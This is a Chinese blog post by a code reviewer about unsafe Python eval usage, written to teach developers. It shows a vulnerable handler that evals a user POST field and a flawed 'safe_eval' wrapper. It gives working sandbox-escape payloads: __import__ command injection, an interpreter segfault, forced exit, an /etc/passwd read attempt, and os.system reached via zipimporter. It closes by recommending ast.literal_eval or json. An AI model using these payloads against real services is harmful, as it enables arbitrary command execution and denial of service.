Python eval的常见错误封装及利用原理

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。

下面列举一个实际产品中的例子,详情见[bug83055][1]:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入 oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?

1,做什么

简单来说就是执行一段表达式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
Linux
0

从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。

eval 可接受三个参数,eval(source[, globals[, locals]]) -> value

globals必须是路径,locals则必须是键值对,默认取系统globals和locals

2,不正确的封装

(1)下面我们来看一段咱们某个产品代码中的封装函数,见[bug][2],或者 网络上搜索排名比较高的代码 ,eg:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

在这里 __builtins__ 置为空了,所以像 __import__ 这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表项

‘UnicodeEncodeError’, ‘UnicodeError’, ‘UnicodeTranslateError’, ‘UnicodeWarning’, ‘UserWarning’, ‘ValueError’, ‘Warning’, ‘ZeroDivisionError’, ‘_’, ‘ debug ‘, ‘ doc ‘, ‘ import ‘, ‘ name ‘, ‘ package ‘, ‘abs’, ‘all’, ‘any’, ‘apply’, ‘basestring’, ‘bin’, ‘bool’, ‘buffer’, ‘bytearray’, ‘bytes’, ‘callable’, ‘chr’, ‘classmethod’, ‘cmp’, ‘coerce’, ‘compile’, ‘complex’, ‘copyright’, ‘credits’, ‘delattr’, ‘dict’, ‘dir’, ‘divmod’, ‘enumerate’, ‘eval’, ‘execfile’, ‘exit’, ‘file’, ‘filter’, ‘float’, ‘format’, ‘frozenset’, ‘getattr’, ‘globals’, ‘hasattr’, ‘hash’, ‘help’, ‘hex’, ‘id’, ‘input’, ‘int’, ‘intern’, ‘isinstance’, ‘issubclass’, ‘iter’, ‘len’, ‘license’, ‘list’, ‘locals’, ‘long’, ‘map’, ‘max’, ‘memoryview’, ‘min’, ‘next’, ‘object’, ‘oct’, ‘open’, ‘ord’, ‘pow’, ‘print’, ‘property’, ‘quit’, ‘range’, ‘raw_input’, ‘reduce’, ‘reload’, ‘repr’, ‘reversed’, ‘round’, ‘set’, ‘setattr’, ‘slice’, ‘sorted’, ‘staticmethod’, ‘str’, ‘sum’, ‘super’, ‘tuple’, ‘type’, ‘unichr’, ‘unicode’, ‘vars’, ‘xrange’, ‘zip’]

__builtins__ 可以看到其模块中有 __import__ ,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

现在就是提示 __import__ 未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。

比如执行如下:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在这里用户定义了一段函数,这个函数调用,直接导致段错误

下面这段代码则是退出解释器:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

初步理解一下整个过程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手

假如用户如果构造:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见 Restricted Execution Mode ,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

这就验证了刚才的safe_eval其实是不安全的。

3,如何正确使用

(1)使用ast.literal_eval

(2)如果仅仅是将字符转为dict,可以使用json格式

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